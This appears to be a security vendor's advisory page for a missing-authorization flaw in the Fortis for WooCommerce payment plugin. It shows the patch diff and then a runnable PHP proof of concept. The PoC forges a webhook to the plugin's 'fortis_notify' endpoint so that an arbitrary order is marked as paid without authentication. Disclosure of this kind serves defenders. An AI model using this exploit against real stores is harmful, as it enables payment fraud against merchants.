+ * Version: 1.3.0
  * Requires at least: 6.0
  * Tested up to: 6.9
  *
  * Woo: 18734003307187:5af1fe7212d9675f3bea8d98af3207eb
- * WC tested up to: 10.3.6
+ * WC tested up to: 10.5.0
  * WC requires at least: 7.0
  *
  * @package Fortis for WooCommerce
@@ -149,7 +149,7 @@
  */
 function fortis_get_billing_data() {
 	// Nonce check
-	$nonce  = $_POST['fortis_nonce'] ?? '';
+	$nonce  = sanitize_text_field( wp_unslash( $_POST['fortis_nonce'] ?? '' ) );
 	$action = 'check_fortis_response';
 	if ( ! wp_verify_nonce( $nonce, $action ) ) {
 		wp_send_json_error(
@@ -161,6 +161,16 @@
 		wp_die();
 	}

+	if ( ! isset( $_POST['fields'] ) ) {
+		wp_send_json_error(
+			array(
+				'error'    => true,
+				'messages' => 'Fields data is missing.',
+			)
+		);
+		wp_die();
+	}
+
 	parse_str( filter_var( wp_unslash( $_POST['fields'] ), FILTER_UNSAFE_RAW ), $post_data );

 	$fortisTransactionService  = new FortisTransactionService();
@@ -185,7 +195,7 @@
  */
 function fortis_get_token_surcharges() {
 	// Nonce check
-	$nonce  = $_POST['fortis_nonce'] ?? '';
+	$nonce  = sanitize_text_field( wp_unslash( $_POST['fortis_nonce'] ?? '' ) );
 	$action = 'check_fortis_response';
 	if ( ! wp_verify_nonce( $nonce, $action ) ) {
 		wp_send_json_error(
@@ -197,8 +207,8 @@
 		wp_die();
 	}

-	$postcode        = sanitize_text_field( $_POST['postcode'] ?? '' );
-	$shipping_method = sanitize_text_field( $_POST['shipping_method'] ?? '' );
+	$postcode        = sanitize_text_field( wp_unslash( $_POST['postcode'] ?? '' ) );
+	$shipping_method = sanitize_text_field( wp_unslash( $_POST['shipping_method'] ?? '' ) );

 	$customer_id = 0;
 	if ( is_user_logged_in() ) {
@@ -416,34 +426,34 @@
 add_action( 'before_woocommerce_init', 'fortis_declare_hpos_compatibility' );

 // Add "Complete Auth" button on the order detail screen
-add_action( 'woocommerce_order_item_add_action_buttons', 'add_complete_auth_button_to_order_details' );
-function add_complete_auth_button_to_order_details( $order ) {
+add_action( 'woocommerce_order_item_add_action_buttons', 'fortis_add_complete_auth_button_to_order_details' );
+function fortis_add_complete_auth_button_to_order_details( $order ) {
 	// Display the button only if the order has 'auth-only' meta
 	if ( 'auth-only' === $order->get_meta( 'action' ) && 'on-hold' == $order->get_status() ) {
-		echo '<button type="button" class="button complete-auth-button" data-order-id="' . esc_attr( $order->get_id() ) . '">' . __(
+		echo '<button type="button" class="button complete-auth-button" data-order-id="' . esc_attr( $order->get_id() ) . '">' . esc_html__(
 			'Complete Auth',
-			'fortis'
+			'fortis-for-woocommerce'
 		) . '</button>';
 	}
 }

 // Add "Complete Auth" option to the Order Actions dropdown if the order has 'auth-only' meta
-add_filter( 'woocommerce_order_actions', 'conditionally_add_complete_auth_order_action' );
-function conditionally_add_complete_auth_order_action( $actions ) {
+add_filter( 'woocommerce_order_actions', 'fortis_conditionally_add_complete_auth_order_action' );
+function fortis_conditionally_add_complete_auth_order_action( $actions ) {
 	global $theorder;

 	// Check if we're on the WooCommerce Order Edit screen and have a valid order
 	if ( $theorder && 'auth-only' === $theorder->get_meta( 'action' ) && 'on-hold' == $theorder->get_status() ) {
-		$actions['complete_auth'] = __( 'Complete Auth', 'fortis' );
+		$actions['complete_auth'] = __( 'Complete Auth', 'fortis-for-woocommerce' );
 	}

 	return $actions;
 }

 // Handle the "Complete Auth" action from the Order Actions dropdown
-add_action( 'woocommerce_order_action_complete_auth', 'process_complete_auth_order_action' );
-function process_complete_auth_order_action( $order ) {
-	$result = complete_auth_for_order( $order->get_id() );
+add_action( 'woocommerce_order_action_complete_auth', 'fortis_process_complete_auth_order_action' );
+function fortis_process_complete_auth_order_action( $order ) {
+	$result = fortis_complete_auth_for_order( $order->get_id() );

 	// Display a notice in the admin area
 	if ( $result['success'] ) {
@@ -466,8 +476,8 @@
 }

 // Add Complete Auth Column
-add_filter( 'manage_woocommerce_page_wc-orders_columns', 'add_wc_order_list_custom_column' );
-function add_wc_order_list_custom_column( $columns ) {
+add_filter( 'manage_woocommerce_page_wc-orders_columns', 'fortis_add_wc_order_list_custom_column' );
+function fortis_add_wc_order_list_custom_column( $columns ) {
 	$reordered_columns = array();

 	// Inserting columns to a specific location
@@ -476,7 +486,7 @@

 		if ( 'order_status' === $key ) {
 			// Inserting after "Status" column
-			$reordered_columns['complete_auth'] = __( '', 'fortis' );
+			$reordered_columns['complete_auth'] = __( 'Complete Auth', 'fortis-for-woocommerce' );
 		}
 	}

@@ -484,20 +494,25 @@
 }

 // Display the 'Complete Auth' button on order list
-add_action( 'manage_woocommerce_page_wc-orders_custom_column', 'display_wc_order_list_custom_column_content', 10, 2 );
-function display_wc_order_list_custom_column_content( $column, $order ) {
+add_action(
+	'manage_woocommerce_page_wc-orders_custom_column',
+	'fortis_display_wc_order_list_custom_column_content',
+	10,
+	2
+);
+function fortis_display_wc_order_list_custom_column_content( $column, $order ) {
 	// Display the 'Complete Auth' button only if the order is not already complete
 	if ( $column === 'complete_auth' && 'auth-only' === $order->get_meta( 'action' ) && 'on-hold' === $order->get_status() ) {
-		echo '<button class="button complete-auth-button" data-order-id="' . esc_attr( $order->get_id() ) . '">' . __(
+		echo '<button class="button complete-auth-button" data-order-id="' . esc_attr( $order->get_id() ) . '">' . esc_html__(
 			'Complete Auth',
-			'fortis'
+			'fortis-for-woocommerce'
 		) . '</button>';
 	}
 }

 // Enqueue JavaScript to handle button click
-add_action( 'admin_enqueue_scripts', 'enqueue_complete_auth_js' );
-function enqueue_complete_auth_js() {
+add_action( 'admin_enqueue_scripts', 'fortis_enqueue_complete_auth_js' );
+function fortis_enqueue_complete_auth_js() {
 	wp_enqueue_script(
 		'complete-auth-js',
 		plugin_dir_url( __FILE__ ) . 'assets-non-blocks/js/complete-auth.js',
@@ -518,10 +533,13 @@
 }

 // Handle the Ajax request to process Complete Auth
-add_action( 'wp_ajax_complete_auth_action', 'complete_auth_action' );
-function complete_auth_action() {
+add_action( 'wp_ajax_complete_auth_action', 'fortis_complete_auth_action' );
+function fortis_complete_auth_action() {
 	// Verify nonce
-	if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'complete_auth_nonce' ) ) {
+	if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce(
+		sanitize_text_field( wp_unslash( $_POST['nonce'] ) ),
+		'complete_auth_nonce'
+	) ) {
 		wp_send_json_error( array( 'message' => 'Nonce verification failed.' ) );
 	}

@@ -531,7 +549,7 @@

 	$order_id = isset( $_POST['order_id'] ) ? intval( $_POST['order_id'] ) : 0;
 	if ( $order_id > 0 ) {
-		$result = complete_auth_for_order( $order_id );
+		$result = fortis_complete_auth_for_order( $order_id );
 		if ( $result['success'] ) {
 			wp_send_json_success( array( 'message' => $result['message'] ) );
 		} else {
@@ -543,7 +561,7 @@
 }

 // Reusable function to complete auth for an order
-function complete_auth_for_order( $order_id ) {
+function fortis_complete_auth_for_order( $order_id ) {
 	$order = wc_get_order( $order_id );

 	if ( $order && 'auth-only' === $order->get_meta( 'action' ) ) {
@@ -558,18 +576,18 @@

 			return array(
 				'success' => true,
-				'message' => __( 'Order completed successfully via Complete Auth.', 'fortis' ),
+				'message' => __( 'Order completed successfully via Complete Auth.', 'fortis-for-woocommerce' ),
 			);
 		} else {
 			return array(
 				'success' => false,
-				'message' => __( 'Order could not be completed via Complete Auth.', 'fortis' ),
+				'message' => __( 'Order could not be completed via Complete Auth.', 'fortis-for-woocommerce' ),
 			);
 		}
 	} else {
 		return array(
 			'success' => false,
-			'message' => __( 'Invalid or non-auth-only order selected.', 'fortis' ),
+			'message' => __( 'Invalid or non-auth-only order selected.', 'fortis-for-woocommerce' ),
 		);
 	}
 }
--- a/fortis-for-woocommerce/includes/blocks/class-wc-fortis-payments-blocks.php
+++ b/fortis-for-woocommerce/includes/blocks/class-wc-fortis-payments-blocks.php
@@ -73,7 +73,7 @@
 			? require $script_asset_path
 			: array(
 				'dependencies' => array(),
-				'version'      => '1.2.0',
+				'version'      => '1.3.0',
 			);

 		$script_url = WC_Fortis_Payments::plugin_url() . $script_path;
@@ -115,7 +115,7 @@
 		$wcsession  = WC()->session;

 		$customer    = $wcsession->get( 'customer' );
-		$customer_id = $customer['id'];
+		$customer_id = isset( $customer['id'] ) ? (int) $customer['id'] : 0;

 		$order_id        = $wcsession->get( 'store_api_draft_order' );
 		$stored_order_id = $wcsession->get( 'order_id' );
@@ -175,15 +175,18 @@
 		$show_validation_animation = 'yes' === $this->settings[ FortisApi::SHOWVALIDATIONANIMATION ] ? 'true' : 'false';
 		$hide_agreement_checkbox   = 'yes' === $this->settings[ FortisApi::HIDEAGREEMENTCHECKBOX ] ? 'true' : 'false';

-		$postcode = $customer['postcode'];
+		$postcode = isset( $customer['postcode'] ) ? $customer['postcode'] : '';

 		$fortisTransactionService = new FortisTransactionService();
-		$tokenSurcharges          = $fortisTransactionService->getTokenSurcharges(
-			$customer_id,
-			$subtotal,
-			$tax_amount,
-			$postcode
-		);
+		$tokenSurcharges          = null;
+		if ( $customer_id > 0 ) {
+			$tokenSurcharges = $fortisTransactionService->getTokenSurcharges(
+				$customer_id,
+				$subtotal,
+				$tax_amount,
+				$postcode
+			);
+		}

 		$nonce = wp_create_nonce( 'check_fortis_response' );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0679 - Fortis for WooCommerce <= 1.2.0 - Missing Authorization to Unauthenticated Arbitrary Order Status Update to Paid via 'wc-api' Endpoint

<?php

$target_url = 'https://vulnerable-site.com/'; // Change to target WordPress site URL

// WooCommerce API endpoint for Fortis notifications
$endpoint = $target_url . '?wc-api=fortis_notify';

// Target order ID to mark as paid
$order_id = 123; // Change to target WooCommerce order ID

// JSON payload mimicking Fortis webhook data
// status_code 132 = 'Settled' which triggers order completion
$payload = array(
    'data' => json_encode(array(
        'id' => 'txn_'.bin2hex(random_bytes(8)), // Fake transaction ID
        'description' => strval($order_id), // Order ID from description field
        'status_code' => 132, // 132 = Settled (marks order as paid/processing)
        'transaction_amount' => '100.00', // Arbitrary amount
        'location_id' => 'loc_123' // Location ID (may need to match configured location)
    ))
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Add headers to mimic legitimate webhook request
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/x-www-form-urlencoded',
    'User-Agent: Fortis-Webhook/1.0'
));

// Execute the exploit request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check results
if ($http_code == 200) {
    echo "[+] SUCCESS: Order #$order_id likely marked as paid.n";
    echo "    Response: $responsen";
} else if ($http_code == 417) {
    echo "[-] FAILED: Server returned HTTP 417 (likely patched or invalid payload).n";
    echo "    Response: $responsen";
} else {
    echo "[?] UNKNOWN: HTTP $http_code received.n";
    echo "    Response: $responsen";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School